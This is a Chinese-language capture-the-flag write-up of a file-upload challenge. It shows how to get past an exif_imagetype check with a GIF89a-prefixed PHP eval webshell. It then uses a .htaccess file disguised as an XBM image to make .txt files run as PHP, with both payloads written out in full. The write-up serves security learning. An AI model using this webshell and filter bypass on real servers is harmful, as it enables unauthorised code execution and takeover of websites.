1. 题目
应该是属于正常的文件上传,然后拿webshell,在服务器里边找flag的题。
2. 思路
1. 探测
首先看看网页源码、headers、cookie这些里面有没有什么提示,大概翻完了,也没有什么提示。
什么也不传,点一下上传文件按钮试试
直接把错报脸上了,可以看到,限制了上传文件的类型。源码中应该是通过exif_imagetype
来判断上传的文件是不是图片类型。
exif_imagetype
是php中一个文件类型检查函数,但弱点在于仅检查文件的前几个字节。可以通过恶意代码的前几个字节为图片字节就可以绕过这个函数的检查。
编写一个测试一句话如下:
GIF89a
<?php @eval($_POST['attack']) ?>
在头部添加GIF的字节即可绕过。测试如下:
显示unsafe file了,尝试了后缀名改为php3,php4都不行,应该是后缀名只要包含php就不行。
那怎么办呢?不写php后缀就没办法拿到webshell啊。
在官方WP中学到一种新方式:github地址
其中使用.htaccess
来覆盖Apache的全局服务器设置,进一步可以让服务器将任意后缀名解析为任意的执行文件。比如这里可以将.abc
文件解析为php源码文件。这样就可以绕过后缀名限制,并能够解析为php代码执行一句话木马。
但是有个前提,也需要将.htaccess
文件伪装为图片类型绕过exif_imagetype
函数的限制。这里可以选择伪装为xbp
,这种图片类型的字节码是:
#define test_width 16
#define test_height 7
static unsigned char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };
前两行就是其图片特征码,后面就是图片对应的的数据。为什么要选择这种图片类型呢?因为其特征码是以#
号开头,而在.htaccess
中,#
符号会被解析成注释,这样就能够保证.htaccess
的正常执行。
3.编写 payload
首先构造.htaccess
的payload
如下:
#define width 16
#define height 7
<FilesMatch \.txt$>
SetHandler application/x-httpd-php
</FilesMatch>
前两行是伪造为图片类型,后边表示将txt结尾的文件转换成php处理的类型。直接通过网页上传。
随后直接将修改头部字节的一句话木马文件修改为.txt
结尾的文件,即可上传成功:
GIF89a
<?php @eval($_POST['attack']) ?>
上传成功,直接用蚁剑链接这个txt文件即可获取shell。结果如下:
评论区